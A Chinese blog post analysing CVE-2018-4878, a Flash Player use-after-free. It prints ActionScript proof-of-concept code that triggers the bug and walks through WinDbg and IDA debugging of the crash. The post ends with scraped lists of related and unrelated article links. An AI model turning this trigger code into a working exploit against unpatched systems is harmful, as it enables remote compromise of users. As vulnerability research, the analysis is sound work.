0x00前言

该漏洞影响 Flash Player 版本28.0.0.137以及之前的所有版本

0x01 poc

Poc

这里只列出关键代码

public function triggeruaf() : void {

              var sdk :PSDK = null;

              var dispatch:PSDKEventDispatcher = null;

              sdk = PSDK.pSDK;

              dispatch = sdk.createDispatcher();

              this.mediaplayer = sdk.createMediaPlayer(dispatch);

              this.listener = new MyListener();

              this.mediaplayer.drmManager.initialize(this.listener);

              this.listener = null;

       }

       public function exploit():void {

              this.triggeruaf();

              try {

                     new LocalConnection().connect("test");

                     new LocalConnection().connect("test");

              } catch (e:Error) {

              }

       }

主要就是以一个listener类实例为参数初始化了一个drmManager对象,之后就将listener类实例赋值为NULL,其中listener类为

用FlashDevelop编译后生成Poc.swf

用Windbg附加IE打开Poc.swf,程序崩溃

可见直接使用ecx传递了一个对象

根据汇编代码可断定,ecx偏移0x0c处为某对象指针,而此对象已经全是0,造成了悬挂指针。再看poc脚本中,把一个MyListener(实现了DRMOperationCompleteListener接口)类型对象赋值null。所以可猜测ecx->0x0c为MyListener对象。

用ida找到触发漏洞的函数

函数在对象的虚表中

sub_1036E28A即触发崩溃的方法。

根据虚函数表引用找到对象赋值方法,即脚本中的initialize,这里是函数sub_1037AB11

重新附加IE,在initialize函数下断,打开poc.swf,程序在sub_1037AB11处断下

按F10单步执行

可以看到esi + 0x0c 处为DRMOperationCompleteListener实例指针,它里面的内容此时不为0

按g让程序执行,程序崩溃

结合poc代码我们可以得出结论:MyListener实例在被置null之后被垃圾回收,而在对象中还留存着实例指针,因此存在悬挂指针问题。

CVE-2018-4878的更多相关文章

  1. 深入剖析最新IE0day漏洞

    在2018年4月下旬,我们使用沙箱发现了IE0day漏洞;自从在野外发现上一个样本(CVE-2016-0189)已经有两年多了.从许多方面来看,这个特别的漏洞及其后续的开发比较有趣.下一篇文章将分析最 ...

  2. 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...

  3. Debian Security Advisory(Debian安全报告) DSA-4405-1 openjpeg2

    package :openjpeg2 相关CVE ID: CVE-2017-17480 CVE-2018-5785 CVE-2018-6616 CVE-2018-14423 CVE-2018-1808 ...

  4. 2018-2019-2 20165330《网络对抗技术》Exp5 MSF基础应用

    目录 基础问题 相关知识 实验目的 实验内容 实验步骤 离实战还缺些什么技术或步骤? 实验总结与体会 实验目的 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路 返回目 ...

  5. 2018-2019-2 网络对抗技术 20165230 Exp5 MSF基础应用

    目录 1.实验内容 2.基础问题回答 3.实验内容 任务一:一个主动攻击实践 漏洞MS08_067(成功) 任务二:一个针对浏览器的攻击 ms11_050(成功) ms14_064(成功) 任务三:一 ...

  6. Linux提权常用漏洞速查表

    漏洞列表 #CVE #Description #Kernels CVE–2018–18955 [map_write() in kernel/user_namespace.c allows privil ...

  7. 【转帖】2018年Windows漏洞年度盘点

    2018年Windows漏洞年度盘点丨老漏洞经久不衰,新0day层出不穷 腾讯电脑管家2019-02-12共17875人围观 ,发现 1 个不明物体网络安全资讯 https://www.freebuf ...

  8. Gartner 2018 年WAF魔力象限报告:云WAF持续增长,Bot管理与API安全拥有未来

    Gartner 2018 年WAF魔力象限报告:云WAF持续增长,Bot管理与API安全拥有未来 来源 https://www.freebuf.com/articles/paper/184903.ht ...

  9. [转] 2018年最新桌面CPU性能排行天梯图(含至强处理器)

    [FROM] http://www.idn100.com/zuzhuangdiannaopeizhi-pc2849/ 排名 处理器 图例 分数 1 Intel Xeon Platinum 8173M ...

  10. 2017年总结&2018年计划

    谈一谈2017年计划: 1.完成壁咚项目2.写一个自己的扫描器3.完善web安全手册.4.搞一个大漏洞或CVE的漏洞 完成进度:1.壁咚这个项目,当初发誓要用java来写完,其实最开始就已经写完了,前 ...

随机推荐

  1. android 手写万能adapter适配器

    android开发中,我们离不开adapter,每个项目都有很多地方需要adapter,那么我们如何让自己少写adapter代码呢?那就是封装adapter,让我们的adapter成为万能的adapt ...

  2. HTML 常用头部标签(meta)

    先来看下常用的标签列表,后文会一一介绍: <!DOCTYPE html> <!-- 使用 HTML5 doctype,不区分大小写 --> <html lang=&quo ...

  3. js原型链,作用域,闭包讲解

    当面试的时候遇到问原型链,闭包,还有作用域,直接 拿张纸和笔把原型链画出来,闭包跟作用域直接用笔写几道题出来加深理解(因为我们是理科生,图形和题目以及控制台输出结果才是最直观的方法) 问:什么是原型链 ...

  4. 关于after和before

    你可曾'百度一下'? 在以前的很多时候,当我断网了,或者网络出了莫名其妙的问题时,我总是第一个输入它的网址.它不仅仅是一个搜索引擎.它还是我检验网络的唯一标准(手动滑稽). CSS中的after和be ...

  5. (转)Linux硬链接、软链接及inode详解

    inode 文件储存在硬盘上,硬盘的最小存储单位叫做“扇区”(Sector).每个扇区储存512字节(相当于0.5KB). 操作系统读取硬盘的时候,不会一个个扇区地读取,这样效率太低,而是一次性连续读 ...

  6. JAVA多线程面试题目

    1,java中有几种方法可以实现一个线程? 答:在Java中实现一个线程有两种方法,第一是实现Runnable接口实现它的run()方法,第二种是继承Thread类,覆盖它的run()方法.这两种方法 ...

  7. Spark Mllib里的协调过滤的概念和实现步骤、LS、ALS的原理、ALS算法优化过程的推导、隐式反馈和ALS-WR算法

    不多说,直接上干货! 常见的推荐算法 1.基于关系规则的推荐 2.基于内容的推荐 3.人口统计式的推荐 4.协调过滤式的推荐 (广泛采用) 协调过滤的概念 在现今的推荐技术和算法中,最被大家广泛认可和 ...

  8. Hibernate的事务管理

    Hibernate的事务管理 事务(Transaction)是工作中的基本逻辑单位,可以用于确保数据库能够被正确修改,避免数据只修改了一部分而导致数据不完整,或者在修改时受到用户干扰.作为一名软件设计 ...

  9. FFmpeg编译i386 OSX 脚本

    话不多说, 直接上脚本 #!/bin/sh # directories PLATFORM="OSX" # FFmpeg脚本目录 SOURCE="ffmpeg-2.8.7& ...

  10. 数据库用户被锁怎么办,报the passord logon

    –1.使用管理员用户登陆,查看用户状态: select username,account_status from dba_users; –2.修改用户状态: alter user base accou ...